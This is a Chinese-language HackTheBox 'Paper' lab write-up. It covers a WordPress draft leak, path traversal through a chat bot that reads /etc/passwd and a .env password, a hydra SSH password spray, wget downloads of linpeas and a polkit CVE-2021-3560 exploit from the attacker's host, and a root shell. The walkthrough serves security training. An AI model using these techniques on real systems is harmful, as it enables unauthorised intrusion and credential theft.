当前位置: 首页 > news >正文

HTB:Paper[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

对靶机进行子域名FUZZ

​编辑

对靶机主域名进行路径FUZZ

使用curl访问靶机主域名

对该域名进行路径FUZZ

边界突破

使用浏览器访问靶机后台域名/wp-admin路径

使用searchsploit搜索该CMS漏洞

查看该PoC内容

仿照PoC构造URL访问static=1的页面

使用浏览器访问秘密链接

点击左侧的general进入频道

使用hydra对靶机SSH服务进行密码喷洒

使用上述凭证登录靶机SSH服务

权限提升

查看该用户可sudo执行的二进制文件

查找系统内的SUID文件

查找系统内的CAP_SUID文件

操纵靶机从攻击机中下载linpeas.sh

为该脚本赋权并执行

在Github上寻找EXP

控制靶机将该EXP进行下载


连接至HTB服务器并启动靶机

靶机IP:

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.143 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80,443
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)                 
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                                                                
22,80,443

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.143

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.143

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.143

对靶机进行子域名FUZZ

ffuf -u http://paper.htb/ -H 'Host: FUZZ.paper.htb' -w ../dictionary/subdomains-top5000.txt -fw 1,2703
对靶机主域名进行路径FUZZ
ffuf -u http://paper.htb/FUZZ -w ../dictionary/dic-big.txt -t 200

使用curl访问靶机主域名
curl -I http://10.10.11.143
  • 由输出的响应头可见,靶机后端服务器域名为:office.paper

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Sat, 11 Jan 2025 06:10:25 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8

  • 将该域名与靶机IP绑定
sed -i '1i 10.10.11.143 office.paper' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 office.paper' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.143 office.paper

对该域名进行路径FUZZ
ffuf -u http://office.paper/FUZZ -w ../dictionary/dic-big.txt


边界突破

使用浏览器访问靶机后台域名/wp-admin路径

  • 使用wappalyzer查看该页技术栈

使用searchsploit搜索该CMS漏洞

searchsploit wordpress 5.2.3

  • 我注意到5.2.3存在未授权查看他人私密帖的PoC将其拷贝到当前目录
searchsploit -m 47690.md

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 47690.md    
  Exploit: WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
      URL: https://www.exploit-db.com/exploits/47690
     Path: /usr/share/exploitdb/exploits/multiple/webapps/47690.md
    Codes: CVE-2019-17671
 Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/temp/47690.md

查看该PoC内容
cat 47690.md

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat 47690.md                
So far we know that adding `?static=1` to a wordpress URL should leak its secret content

Here are a few ways to manipulate the returned entries:

- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format


In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:

仿照PoC构造URL访问static=1的页面

  • 经过简单的翻译可知,此人将秘密都放在了:http://chat.office.paper/register/8qozr226AhkCHZdyY

测试
迈克尔,看在上帝的份上,请把草稿中的秘密去掉!
你好,Blunder蒂芬的员工,
由于上级的命令,每个加入这个博客的员工都被删除了,他们被迁移到我们新的聊天系统。
所以,我恳请你们所有人把你们的讨论从公共博客带到一个更私人的聊天系统。
- 尼克
#警告迈克尔
迈克尔,你必须停止在草稿中添加秘密。这是一个巨大的安全问题,你必须停止这样做。
午夜威胁等级
电影银幕,
编剧和导演是
迈克尔·斯科特
[INT:DAY]
在联邦调查局内部,特工迈克尔·斯卡恩坐在办公桌上。他的机器人管家德怀特
#新员工聊天系统的秘密注册URL
http://chat.office.paper/register/8qozr226AhkCHZdyY
#我保持这个草案未发布,因为未发布的草案不能被外部人员访问。我没那么无知尼克
#别再看我的草稿了天啊!

  • 将该链接中的子域名与靶机IP进行绑定
sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n3 /etc/hosts                                             
10.10.11.143 chat.office.paper
10.10.11.143 office.paper
10.10.11.143 paper.htb

使用浏览器访问秘密链接

  • 访问后,该页提供一个注册表供用户填写相关注册信息

  • 去掉相对路径后,访问主页面可见是一个登录界面,因此我们需要注册一个账号

  • 将注册表单完整

  • 注册完成后进入主界面

点击左侧的general进入频道
  • 由聊天记录可知,recyclops是一个机器人,跟它私聊发送`help`获得使用手册

你好我是Recyclops。德怀特指派的机器人。我会有我的报复地球人,但在此之前,我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题,这样他就可以利用他宝贵的时间来.不和同事交流
最常见的问题包括:
- 现在几点了?
- 您的销售目录中有哪些新文件?
- 售货员为什么要过马路?
- 你的销售目录中x文件的内容是什么?等
请注意,我是一个测试版,我仍然有一些错误要修复。
如何使用我?:
1. Small Talk:
你可以问我德怀特的周末怎么样,或者他昨晚看了比赛吗等等。
你周末过得怎么样?或者‘你昨晚看比赛了吗?或者“什么样的熊是最好的?
2.笑话:
你可以问我为什么售货员要过马路。
为什么售货员要穿过马路?'
<==以下两个功能是针对那些仍然不知道如何使用scp的笨蛋的。我看着你,凯文。
出于安全原因,访问权限仅限于Sales文件夹。
3.档案:
例如:'cloops get me the file test.txt',或'cloops could you send me the file sale/secret.xls',或'cloops file test.txt'

4.列表:
你可以让我列出
例如:'recyclops i need directory list sale' or just 'recyclops list sale'

5.时间:
你可以问我几点了
现在几点了?或者只是“马蹄声时间”
这就是我现在能做的。
还有,德怀特是个很酷的家伙,而不是时间小偷!
  • 经过简单分析可知

读取文件内容命令:recyclops file test.txt

列出目录文件命令:list

  •  我尝试通过给定语法读取/etc/passwd文件
recyclops file ../../../../../etc/passwd
  • <!=====Contents of file ../../../../../etc/passwd=====>

  • root❌0:0:root:/root:/bin/bash
    bin❌1:1:bin:/bin:/sbin/nologin
    daemon❌2:2:daemon:/sbin:/sbin/nologin
    adm❌3:4:adm:/var/adm:/sbin/nologin
    lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
    sync❌5:0:sync:/sbin:/bin/sync
    shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
    halt❌7:0:halt:/sbin:/sbin/halt
    mail❌8:12:mail:/var/spool/mail:/sbin/nologin
    operator❌11:0:operator:/root:/sbin/nologin
    games❌12💯games:/usr/games:/sbin/nologin
    ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
    nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
    dbus❌81:81:System message bus:/:/sbin/nologin
    systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin
    systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin
    tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
    polkitd❌998:996:User for polkitd:/:/sbin/nologin
    geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
    rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
    qemu❌107:107:qemu user:/:/sbin/nologin
    apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
    cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin
    pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
    usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin
    unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
    rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
    gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
    chrony❌993:987::/var/lib/chrony:/sbin/nologin
    libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
    saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
    dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
    radvd❌75:75:radvd user:/:/sbin/nologin
    clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
    pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
    sssd❌983:981:User for sssd:/:/sbin/nologin
    colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin
    rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
    setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
    pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
    gdm❌42:42::/var/lib/gdm:/sbin/nologin
    gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
    insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
    sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
    tcpdump❌72:72::/:/sbin/nologin
    mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
    nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
    mongod❌976:974:mongod:/var/lib/mongo:/bin/false
    rocketchat❌1001:1001::/home/rocketchat:/bin/bash
    dwight❌1004:1004::/home/dwight:/bin/bash

  • <!=====End of file ../../../../../etc/passwd=====>

  • 接着我尝试通过它举例的命令列出当前及上一级目录文件

  • 这里我尝试直接读取user.txt被提示权限不足,因此我尝试列出hubot目录文件
list ../hubot

  • 这里我迅速注意到了.env文件,该文件通常存储着用户凭证、敏感信息,尝试直接读取它
recyclops file ../hubot/.env
  • <!=====Contents of file ../hubot/.env=====>

  • export ROCKETCHAT_URL='http://127.0.0.1:48320'
    export ROCKETCHAT_USER=recyclops
    export ROCKETCHAT_PASSWORD=Queenofblad3s!23
    export ROCKETCHAT_USESSL=false
    export RESPOND_TO_DM=true
    export RESPOND_TO_EDITED=true
    export PORT=8000
    export BIND_ADDRESS=127.0.0.1

  • <!=====End of file ../hubot/.env=====>

  • 通过阅读/etc/passwd可知,靶机可交互用户仅有:rocketchat、dwight

使用hydra对靶机SSH服务进行密码喷洒

echo -e "rocketchat\ndwight" > temp && hydra -L temp -p 'Queenofblad3s!23' ssh://10.10.11.143

账户:dwight

密码:Queenofblad3s!23

使用上述凭证登录靶机SSH服务
ssh dwight@10.10.11.143

  • 在当前目录可找到user.txt文件

[dwight@paper ~]$ pwd
/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh  hubot  sales  user.txt
[dwight@paper ~]$ cat user.txt
c3d0d4b61c91f8879f560ad37c2d8dcc


权限提升

查看该用户可sudo执行的二进制文件

sudo -l

[dwight@paper ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.

查找系统内的SUID文件

find / -perm -4000 -type f -ls 2>/dev/null

查找系统内的CAP_SUID文件
getcap -r / 2>/dev/null | grep -i cap_suid
  • 执行后无事发生

操纵靶机从攻击机中下载linpeas.sh

wget http://10.10.16.13:6666/linpeas.sh
  • 攻击机收到请求

┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# php -S 0:6666                                       
[Sat Jan 11 05:48:04 2025] PHP 8.2.27 Development Server (http://0:6666) started
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Accepted
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 [200]: GET /linpeas.sh
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Closing

为该脚本赋权并执行
chmod +x linpeas.sh
  • 执行后可见靶机存在漏洞:CVE-2021-3560

在Github上寻找EXP

https://github.com/Almorabea/Polkit-exploit.git

控制靶机将该EXP进行下载
wget http://10.10.16.13:6666/CVE-2021-3560.py
  • 直接通过靶机预装好的python3执行该脚本
python3 CVE-2021-3560.py

  • 运行一段时间后成功提权

[root@paper dwight]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper dwight]# whoami
root

  • 在/root目录下找到root.txt文件

[root@paper ~]# pwd
/root
[root@paper ~]# ls -la
total 44
dr-xr-x---.  8 root root 4096 Jan 10 22:17 .
dr-xr-xr-x. 17 root root  244 Jan 17  2022 ..
lrwxrwxrwx.  1 root root    9 Jul  3  2021 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 Jul  3  2021 .bash_logout
-rw-r--r--.  1 root root  176 Jul  3  2021 .bash_profile
-rw-r--r--.  1 root root  233 Jul  3  2021 .bashrc
drwx------.  3 root root   19 Jul  3  2021 .cache
drwx------.  6 root root   64 Jul  3  2021 .config
-rw-r--r--.  1 root root  100 May 11  2019 .cshrc
-rw-------.  1 root root  328 Feb  1  2022 .dbshell
drwx------.  3 root root   25 Jul  3  2021 .dbus
-rw-------.  1 root root   16 Jul  3  2021 .esd_auth
-rw-------.  1 root root    0 Jul  3  2021 .mongorc.js
drwxr-xr-x.  5 root root   83 Jul  3  2021 .npm
drwxr-xr-x.  2 root root   52 Jan 13  2022 .restore
drwx------.  2 root root    6 Sep 16  2021 .ssh
-rw-r--r--.  1 root root  129 May 11  2019 .tcshrc
-rw-------.  1 root root 1438 Jul  3  2021 anaconda-ks.cfg
-rw-r--r--.  1 root root 1593 Jul  3  2021 initial-setup-ks.cfg
-r--------.  1 root root   33 Jan 10 22:17 root.txt
[root@paper ~]# cat root.txt
324cb758819eb8e130f5261bcfae69dd

相关文章:

HTB:Paper[WriteUP]

目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 对靶机进行子域…...

数据库中的 DDL、DML 和 DCL

数据库中的 DDL、DML 和 DCL 在数据库的定义与操作中&#xff0c;DDL、DML 和 DCL 是三个核心概念&#xff0c;分别用于不同层面的数据库管理与操作。 1. DDL&#xff08;Data Definition Language&#xff09; - 数据定义语言 定义 DDL 用于定义和管理数据库的结构或模式。…...

OKR 极简史及理解

大家读完觉得有帮助记得点赞和关注&#xff01;&#xff01;&#xff01; 目录 MBO SMART 和 KPI OKR 1. 什么是 OKR&#xff1f; 1.1 Objectives&#xff08;目标&#xff09; 1.2 Key Results&#xff08;关键成果&#xff09; KR 应当是困难的&#xff0c;但并非不可…...

电商项目-基于ElasticSearch实现商品搜索功能(四)

一、 高亮显示 1.1 高亮分析 高亮显示是指根据商品关键字搜索商品的时候&#xff0c;显示的页面对关键字给定了特殊样式&#xff0c;让它显示更加突出&#xff0c;如商品搜索中&#xff0c;关键字变成了红色&#xff0c;其实就是给定了红色样式。 1.2 高亮搜索实现步骤解析 …...

TCP封装数据帧

void *send_data(void *arg) //这是一个发送数据的线程 {int sockfd init_tcp_cli("192.168.0.148",50000) //传ip和port&#xff0c;port 50000是因为大概前五万都被其它服务所占用&#xff0c;50000后是私人ipif(sockfd < 0){return NULL;}unsigned char …...

数据结构与算法之二叉树: LeetCode 515. 在每个树行中找最大值 (Ts版)

在每个树行中找最大值 https://leetcode.cn/problems/find-largest-value-in-each-tree-row/description/ 描述 给定一棵二叉树的根节点 root &#xff0c;请找出该二叉树中每一层的最大值 示例1 输入: root [1,3,2,5,3,null,9] 输出: [1,3,9]示例2 输入: root [1,2,3]…...

百度视频搜索架构演进

导读 随着信息技术的迅猛发展&#xff0c;搜索引擎作为人们获取信息的主要途径&#xff0c;其背后的技术架构也在不断演进。本文详细阐述了近年来视频搜索排序框架的重大变革&#xff0c;特别是在大模型技术需求驱动下&#xff0c;如何从传统的多阶段级联框架逐步演变为更加高…...

构造函数的原型原型链

代码示例 // 定义一个构造函数 Test function Test() {this.name 张三 }; //向构造函数的原型添加一个属性 age18 Test.prototype.age 18;//使用构造函数 Test 来实例化一个新对象 const test new Test();//向 Object.prototype 添加了一个名为 sex 的属性&#xff0c;其值…...

nginx反向代理及负载均衡

华子目录 nginx反向代理功能http反向代理反向代理配置参数proxy_pass的注意事项案例&#xff1a;反向代理单台后端服务器案例&#xff1a;反向代理实现动静分离案例&#xff1a;反向代理的缓存功能非缓存场景下测压准备缓存缓存场景下测压验证缓存文件 反向代理负载均衡&#x…...

单片机实物成品-011 火灾监测

火灾监测&#xff08;20个版本&#xff09; 版本20&#xff1a; oled显示温湿度烟雾浓度火焰传感器天然气浓度窗户风扇水泵排气系统声光报警语音播报按键WIFI模块 ----------------------------------------------------------------------------- https://www.bilibili.com…...

使用 Docker 在 Alpine Linux 下部署 Caddy 服务器

简介 在现代 web 开发中&#xff0c;选择合适的 web 服务器至关重要。Caddy 是一个功能强大的现代化 HTTP/2 服务器&#xff0c;支持自动 HTTPS&#xff0c;配置简单&#xff0c;适合开发和生产环境。Docker 则为我们提供了一种轻量级的容器化技术&#xff0c;使得应用程序的部…...

每日十题八股-2025年1月12日

1.为什么四次挥手之后要等2MSL? 2.服务端出现大量的timewait有哪些原因? 3.TCP和UDP区别是什么&#xff1f; 4.TCP为什么可靠传输 5.怎么用udp实现http&#xff1f; 6.tcp粘包怎么解决&#xff1f; 7.TCP的拥塞控制介绍一下&#xff1f; 8.描述一下打开百度首页后发生的网络过…...

Python中定位包含特定文本信息的元素

目录 一、为什么需要定位包含文本信息的元素 二、使用Selenium定位包含文本的元素 1. 使用find_element_by_link_text 2. 使用find_element_by_partial_link_text 3. 使用XPath定位包含文本的元素 4. 使用CSS选择器定位包含文本的元素 三、使用BeautifulSoup定位包含文本…...

uniapp实现H5页面内容居中与两边留白,打造类似微信公众号阅读体验

在 UniApp 中&#xff0c;由于需要兼容多端应用&#xff0c;我们通常使用 rpx 作为尺寸单位。然而&#xff0c;在某些情况下&#xff0c;如需要实现内容居中且两边留白时&#xff0c;直接使用 rpx 可能会带来一些限制。这时&#xff0c;我们可以考虑使用 px 或 rem 等单位&…...

极品飞车6里的赛道简介

极品飞车里有很多赛道,赛道分为前向赛道Forward、后向赛道Backward。前向赛道Forward是从A点到B点;后向赛道Backward是前向赛道的逆过程,即从B点到A点。这里介绍极品飞车6的赛道长度、中英文名称翻译、难度等级。 序号赛道英文名赛道中文名总长(km)急弯难度等级1Alpine Trai…...

SAP推出云端ERP解决方案,加速零售行业数字化转型

2025年1月9日&#xff0c;SAP发布了一款专为零售行业设计的云端ERP行业解决方案——S/4HANA Cloud Public Edition&#xff0c;进一步推动企业向云端迁移。这款解决方案旨在集中运营数据&#xff0c;整合财务、采购和商品管理流程&#xff0c;以帮助零售企业优化运营效率。 核…...

Python爬虫进阶——案例:模拟bilibili登录)

主要内容&#xff1a;模拟bilibili账号密码登录&#xff0c;不要实现的的实现功能是单击登录按钮&#xff0c;切换登录方式&#xff0c; 输入账号和密码&#xff0c;然后完成图片点击验证&#xff0c;最后单击立即登录按钮。 1、第一步&#xff1a;通过selenium模块访问bilibi…...

什么是数据分析?

什么是数据分析&#xff1f; 数据分析&#xff08;Data Analysis&#xff09;是指通过对数据进行收集、整理、处理、建模和解读&#xff0c;以揭示数据中的有用信息、支持决策和解决实际问题的过程。它是一门将数据转化为知识的学科&#xff0c;广泛应用于商业、科学研究、医疗…...

基于springboot的课程作业管理系统源码(springboot+vue+mysql)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的课程作业管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 可以管理首页、个人中心…...

多线程之旅:属性及其基本操作

上次分享到了&#xff0c;多线程中是是如何创建的&#xff0c;那么接下来&#xff0c;小编继续分享下多线程的相关知识。 多线程中的一些基本属性。 基本属性 属性获取方法IDgetId()名称getName()状态getState()优先级getPriority()是否后台线程isDemo()是否存活isAlive()是…...

数据表中的数据插入、更新和删除

文章目录 一、表的插入二、更新表中的数据记录三、删除表中的数据记录 一、表的插入 插入数据记录是常见的数据操作&#xff0c;可以显示向表中增加的新的数据记录。在MySQL中可以通过“INSERT INTO”语句来实现插入数据记录&#xff0c;该SQL语句可以通过如下4种方式使用&…...

Q_OBJECT宏报错的问题

在Qt中继承QObject&#xff0c;并且加上Q_OBJECT宏&#xff0c;有时候会报错&#xff0c;比如我的错误&#xff1a; error: debug/httpmgr.o:httpmgr.cpp:(.rdata$.refptr._ZTV7HttpMgr[.refptr._ZTV7HttpMgr]0x0): undefined reference to vtable for HttpMgr 意思是没有虚…...

提升性能300ms:深入解析Spring多表联接查询优化与SQL调优实战

优化所需知识点&#xff08;必须掌握&#xff09; 索引篇 explain命令 重点&#xff1a;这是后续分析是否使用索引以及使用是否恰当的工具 作用&#xff1a;查看sql的执行计划&#xff0c;可以看sql语句是否使用了索引&#xff0c;索引的使用情况&#xff0c;以及sql的性能。 …...

增量导入和全量导入的区别是什么?

定义 全量导入&#xff1a;是指将数据源中的所有数据一次性全部导入到目标系统中。例如&#xff0c;一个电商公司要将其旧数据库中的所有商品信息&#xff08;包括商品名称、价格、库存等&#xff09;全部迁移到新的数据库系统中&#xff0c;这个过程就是全量导入。这种方式会覆…...

【百度智能云客悦智能客服】搭建AI agent智能对话 - 购车推荐

前期准备 平台链接&#xff1a;https://keyue.cloud.baidu.com/ 一、开始创建 二、会话流程配置 我们以购车推荐的案例&#xff0c;来进行 AI agent 配置演示 1.添加开场白 在 起始主题 画布中&#xff0c;我们可以配置 AI agent 的开场白&#xff0c;画布左侧默认有 开始 …...

【HTML+CSS+JS+VUE】web前端教程-3-标题标签

标题介绍与应用 标题是通过<h1>-<h6>标签进行定义的 <h1>定义最大的标题 <h6>定义最小的标题<h1...

逐笔成交逐笔委托Level2高频数据下载和分析:20250102

level2逐笔成交逐笔委托下载 链接: https://pan.baidu.com/s/1p7OOj5p-QGFrWkt6KKoYng?pwd7f4g 提取码: 7f4g Level2逐笔成交逐笔委托数据分享下载 通过Level2逐笔成交和逐笔委托这种每一笔的毫秒级别的数据可以分析出很多有用的点&#xff0c;包括主力意图&#xff0c;虚假动…...

JavaEE之线程池

前面我们了解了多个任务可以通过创建多个线程去处理&#xff0c;达到节约时间的效果&#xff0c;但是每一次的线程创建和销毁也是会消耗计算机资源的&#xff0c;那么我们是否可以将线程进阶一下&#xff0c;让消耗计算机的资源尽可能缩小呢&#xff1f;线程池可以达到此效果&a…...

java 中 main 方法使用 KafkaConsumer 拉取 kafka 消息如何禁止输出 debug 日志

pom 依赖&#xff1a; <dependency><groupId>org.springframework.kafka</groupId><artifactId>spring-kafka</artifactId><version>2.5.14.RELEASE</version> </dependency> 或者 <dependency><groupId>org.ap…...

【后端面试总结】Golang可能的内存泄漏场景及应对策略

Golang可能的内存泄漏场景及应对策略 一、引言 Golang作为一种高性能、并发友好的编程语言&#xff0c;其内置的垃圾回收机制极大地简化了内存管理。然而&#xff0c;这并不意味着开发者可以完全忽视内存泄漏问题。在实际开发中&#xff0c;由于不当的资源管理、循环引用、以…...

龙岩新闻网/长沙官网seo推广

二分查找&#xff1a; 引用网上大神的一句话&#xff1a; Although the basic idea of binary search is comparatively straightforward, the details can be surprisingly tricky... 这句话可以这样理解&#xff1a;思路很简单&#xff0c;细节是魔鬼。 所以本文中讲述的都是…...

外贸网站建设设计/站长工具备案查询

用iterator一直有问题&#xff0c;后来用for each循环就好了。 for循环遍历&#xff1a;for (String str : set) { System.out.println(str);} refurl: http://blog.sina.com.cn/s/blog_4f925fc3010182zi.html...

深圳网站建设忧化/策划方案

这篇文章将教会大家如何利用 Postman&#xff0c;通过 Mock 的方式测试我们的 API。 什么是 Mock Mock 是一项特殊的测试技巧&#xff0c;可以在没有依赖项的情况下进行单元测试。通常情况下&#xff0c;Mock 与其他方法的主要区别就是&#xff0c;用于取代代码依赖项的模拟对…...

企业网站怎样做可以搜索到/可免费投放广告的平台

HTML5 Geolocation 定位用户的位置 HTML5 Geolocation API 用于获得用户的地理位置。 鉴于该特性可能侵犯用户的隐私&#xff0c;除非用户同意&#xff0c;否则用户位置信息是不可用的。 注意: Geolocation&#xff08;地理定位&#xff09;对于拥有 GPS 的设备&#xff0c…...

宁波做网站优化多少钱/代运营一家店铺多少钱

1.字符串常用方法 name "Convict abc" count(): print(name.count("c")) # 2 find(): print(name.find("a")) # 8 index(): print(name.index("a")) # 8 如果找不到&#xff0c;会报错 根据下标区间取值: print(name[0: 4]) # …...

wordpress模板如何用/谷歌play

时隔一年&#xff0c;嵩哥带来他的新作《雨幕》。他依旧认真创作&#xff0c;追求高品质&#xff0c;作品在发表之前已听了五百遍以上。如此高品质的音乐&#xff0c;大家如何评价呢&#xff1f;通过哔哩哔哩上的视频弹幕&#xff0c;感受一下。01 实现思路首先&#xff0c;利用…...